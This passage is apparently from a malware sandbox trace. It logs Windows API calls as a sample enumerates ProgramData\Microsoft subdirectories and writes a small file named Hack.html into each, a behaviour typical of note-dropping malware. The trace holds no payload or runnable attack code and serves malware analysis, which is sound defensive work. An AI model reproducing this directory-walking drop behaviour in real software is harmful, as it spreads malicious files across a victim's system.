lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x28915f8*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0071.395] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Hack.html", lpFilePart=0x0) returned 0x43 [0071.396] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Hack.html" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.397] GetFileType (hFile=0x174) returned 0x1 [0071.397] GetFileType (hFile=0x174) returned 0x1 [0071.397] WriteFile (in: hFile=0x174, lpBuffer=0x2893e08*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x2893e08*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0071.398] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC", lpFilePart=0x0) returned 0x1c [0071.398] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\", lpFilePart=0x0) returned 0x1d [0071.398] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a328 [0071.399] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.399] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.399] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.399] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.399] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.399] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.399] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.399] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC", lpFilePart=0x0) returned 0x1c [0071.399] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\", lpFilePart=0x0) returned 0x1d [0071.399] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a328 [0071.399] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.400] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.400] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.400] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.400] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.400] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.400] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.400] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\Outbound", lpFilePart=0x0) returned 0x25 [0071.400] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\", lpFilePart=0x0) returned 0x26 [0071.400] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a328 [0071.401] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.401] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.401] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.401] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\Outbound", lpFilePart=0x0) returned 0x25 [0071.401] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\", lpFilePart=0x0) returned 0x26 [0071.401] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a328 [0071.401] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.401] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.401] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.402] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\Hack.html", lpFilePart=0x0) returned 0x2f [0071.402] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\Hack.html" (normalized: "c:\\programdata\\microsoft\\rac\\outbound\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.402] GetFileType (hFile=0x174) returned 0x1 [0071.402] GetFileType (hFile=0x174) returned 0x1 [0071.402] WriteFile (in: hFile=0x174, lpBuffer=0x289904c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x289904c*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0071.403] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\PublishedData", lpFilePart=0x0) returned 0x2a [0071.403] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\", lpFilePart=0x0) returned 0x2b [0071.403] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a328 [0071.404] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.404] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.404] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.404] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.404] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\PublishedData", lpFilePart=0x0) returned 0x2a [0071.404] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\", lpFilePart=0x0) returned 0x2b [0071.404] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a328 [0071.404] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.404] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.404] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.404] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.405] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\Hack.html", lpFilePart=0x0) returned 0x34 [0071.405] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\Hack.html" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.405] GetFileType (hFile=0x174) returned 0x1 [0071.405] GetFileType (hFile=0x174) returned 0x1 [0071.405] WriteFile (in: hFile=0x174, lpBuffer=0x289cea0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x289cea0*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0071.406] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\StateData", lpFilePart=0x0) returned 0x26 [0071.406] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\StateData\\", lpFilePart=0x0) returned 0x27 [0071.406] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a328 [0071.407] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.407] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.407] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.407] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.407] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.407] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\StateData", lpFilePart=0x0) returned 0x26 [0071.407] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\StateData\\", lpFilePart=0x0) returned 0x27 [0071.407] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a328 [0071.407] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.407] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.407] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.407] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.408] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.408] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\StateData\\Hack.html", lpFilePart=0x0) returned 0x30 [0071.408] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\Hack.html" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.408] GetFileType (hFile=0x174) returned 0x1 [0071.408] GetFileType (hFile=0x174) returned 0x1 [0071.408] WriteFile (in: hFile=0x174, lpBuffer=0x28a0ee4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x28a0ee4*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0071.409] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\Temp", lpFilePart=0x0) returned 0x21 [0071.410] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\Temp\\", lpFilePart=0x0) returned 0x22 [0071.410] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a328 [0071.410] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.410] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.410] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.410] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.410] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.410] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\Temp", lpFilePart=0x0) returned 0x21 [0071.410] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\Temp\\", lpFilePart=0x0) returned 0x22 [0071.410] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a328 [0071.410] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.410] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.410] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.411] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.411] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.411] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\Temp\\Hack.html", lpFilePart=0x0) returned 0x2b [0071.411] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\Hack.html" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.413] GetFileType (hFile=0x174) returned 0x1 [0071.413] GetFileType (hFile=0x174) returned 0x1 [0071.413] WriteFile (in: hFile=0x174, lpBuffer=0x28a4c68*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x28a4c68*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0071.414] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\RAC\\Hack.html", lpFilePart=0x0) returned 0x26 [0071.414] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Hack.html" (normalized: "c:\\programdata\\microsoft\\rac\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.416] GetFileType (hFile=0x174) returned 0x1 [0071.416] GetFileType (hFile=0x174) returned 0x1 [0071.416] WriteFile (in: hFile=0x174, lpBuffer=0x28a7408*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x28a7408*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0071.417] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search", lpFilePart=0x0) returned 0x1f [0071.417] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\", lpFilePart=0x0) returned 0x20 [0071.417] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a328 [0071.418] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.418] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.418] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.418] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.419] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search", lpFilePart=0x0) returned 0x1f [0071.419] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\", lpFilePart=0x0) returned 0x20 [0071.419] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a328 [0071.419] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0071.419] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.419] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data", lpFilePart=0x0) returned 0x24 [0071.419] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\", lpFilePart=0x0) returned 0x25 [0071.419] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a328 [0071.419] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.420] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.420] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data", lpFilePart=0x0) returned 0x24 [0071.420] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\", lpFilePart=0x0) returned 0x25 [0071.420] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a328 [0071.420] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.420] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.420] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications", lpFilePart=0x0) returned 0x31 [0071.420] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\", lpFilePart=0x0) returned 0x32 [0071.420] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a328 [0071.421] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.421] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.421] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.421] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.421] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications", lpFilePart=0x0) returned 0x31 [0071.421] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\", lpFilePart=0x0) returned 0x32 [0071.421] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a328 [0071.422] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.422] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.422] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.422] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.422] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Hack.html", lpFilePart=0x0) returned 0x3b [0071.422] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Hack.html" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.422] GetFileType (hFile=0x174) returned 0x1 [0071.422] GetFileType (hFile=0x174) returned 0x1 [0071.422] WriteFile (in: hFile=0x174, lpBuffer=0x28adbd4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x28adbd4*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0071.423] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp", lpFilePart=0x0) returned 0x29 [0071.423] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\", lpFilePart=0x0) returned 0x2a [0071.423] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a328 [0071.423] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.424] FindNextFileW (in: 